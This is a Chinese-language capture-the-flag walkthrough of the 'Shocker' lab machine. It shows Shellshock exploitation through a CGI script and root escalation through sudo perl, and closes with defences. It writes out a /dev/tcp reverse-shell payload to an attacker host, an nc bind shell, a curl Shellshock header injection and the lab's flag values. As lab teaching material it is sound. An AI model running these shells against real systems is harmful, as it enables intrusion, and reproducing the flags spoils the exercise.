[Meachines] [Easy] shocker CGI-BIN Shell Shock + Perl权限提升
字数 1116 2025-08-20 18:18:23

Shellshock漏洞利用与权限提升教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行初始端口扫描:

nmap -p- 10.10.10.56 --min-rate 1000 -sC -sV

扫描结果:

  • 开放端口:
    • 80/tcp: Apache httpd 2.4.18 (Ubuntu)
    • 2222/tcp: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2

1.2 Web目录枚举

使用DIRB工具进行Web目录扫描:

dirb http://10.10.10.56/

2. Shellshock漏洞利用

2.1 漏洞背景

Shellshock(CVE-2014-6271)是Bash shell中的一个严重安全漏洞,允许攻击者通过环境变量注入任意命令。在Apache mod_cgi环境下,HTTP头部的某些字段会被转换为环境变量,从而可能被利用。

2.2 漏洞验证

检查CGI脚本是否存在漏洞:

searchsploit -w apache mod_cgi

2.3 利用脚本分析

使用Python编写的Shellshock利用脚本关键部分:

headers = {"Cookie": payload, "Referer": payload}
c = httplib.HTTPConnection(rhost)
c.request("GET",page,headers=headers)

2.4 反向Shell利用

执行反向Shell攻击:

python2 ./exp.py payload=reverse rhost=10.10.10.56 lhost=10.10.16.14 lport=10032 pages=/cgi-bin/user.sh

Payload构造:

/bin/bash -c "/bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"

2.5 绑定Shell利用

绑定Shell方式(备用方案):

python2 ./exp.py payload=bind rhost=10.10.10.56 rport=1234 pages=/cgi-bin/user.sh

Payload构造:

/bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'

3. 权限提升阶段

3.1 检查sudo权限

获取当前用户的sudo权限信息:

sudo -l

3.2 Perl权限提升

利用Perl执行权限提升:

sudo perl -e 'exec "/bin/sh";'

3.3 获取flag

  • 用户flag位置:User.txt

    • 内容:52bf59994f4a8d97df4daa775641ab05
  • 根flag位置:Root.txt

    • 内容:0bc6d190e24dca08e42174ed7a7ad1a7

4. 防御措施

4.1 Shellshock防御

  1. 升级Bash到最新版本
  2. 禁用不必要的CGI脚本
  3. 使用Web应用防火墙(WAF)过滤恶意请求

4.2 权限提升防御

  1. 限制sudo权限,避免不必要的命令执行权限
  2. 定期审计sudoers文件
  3. 使用最小权限原则配置服务账户

5. 扩展知识

5.1 Shellshock变种

  • CVE-2014-6277
  • CVE-2014-6278
  • CVE-2014-7169

5.2 替代利用方法

使用cURL直接测试Shellshock漏洞:

curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'id'" http://target/cgi-bin/test.cgi

5.3 其他权限提升方法

  1. 内核漏洞利用
  2. SUID二进制滥用
  3. 定时任务劫持
  4. 环境变量劫持

6. 参考资源

  1. Shellshock漏洞官方说明:https://shellshocker.net/
  2. Exploit-DB相关利用代码:https://www.exploit-db.com/exploits/34900
  3. Apache mod_cgi安全指南:https://httpd.apache.org/docs/2.4/howto/cgi.html
Shellshock漏洞利用与权限提升教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行初始端口扫描: 扫描结果: 开放端口: 80/tcp: Apache httpd 2.4.18 (Ubuntu) 2222/tcp: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 1.2 Web目录枚举 使用DIRB工具进行Web目录扫描: 2. Shellshock漏洞利用 2.1 漏洞背景 Shellshock(CVE-2014-6271)是Bash shell中的一个严重安全漏洞,允许攻击者通过环境变量注入任意命令。在Apache mod_ cgi环境下,HTTP头部的某些字段会被转换为环境变量,从而可能被利用。 2.2 漏洞验证 检查CGI脚本是否存在漏洞: 2.3 利用脚本分析 使用Python编写的Shellshock利用脚本关键部分: 2.4 反向Shell利用 执行反向Shell攻击: Payload构造: 2.5 绑定Shell利用 绑定Shell方式(备用方案): Payload构造: 3. 权限提升阶段 3.1 检查sudo权限 获取当前用户的sudo权限信息: 3.2 Perl权限提升 利用Perl执行权限提升: 3.3 获取flag 用户flag位置: User.txt 内容: 52bf59994f4a8d97df4daa775641ab05 根flag位置: Root.txt 内容: 0bc6d190e24dca08e42174ed7a7ad1a7 4. 防御措施 4.1 Shellshock防御 升级Bash到最新版本 禁用不必要的CGI脚本 使用Web应用防火墙(WAF)过滤恶意请求 4.2 权限提升防御 限制sudo权限,避免不必要的命令执行权限 定期审计sudoers文件 使用最小权限原则配置服务账户 5. 扩展知识 5.1 Shellshock变种 CVE-2014-6277 CVE-2014-6278 CVE-2014-7169 5.2 替代利用方法 使用cURL直接测试Shellshock漏洞: 5.3 其他权限提升方法 内核漏洞利用 SUID二进制滥用 定时任务劫持 环境变量劫持 6. 参考资源 Shellshock漏洞官方说明:https://shellshocker.net/ Exploit-DB相关利用代码:https://www.exploit-db.com/exploits/34900 Apache mod_ cgi安全指南:https://httpd.apache.org/docs/2.4/howto/cgi.html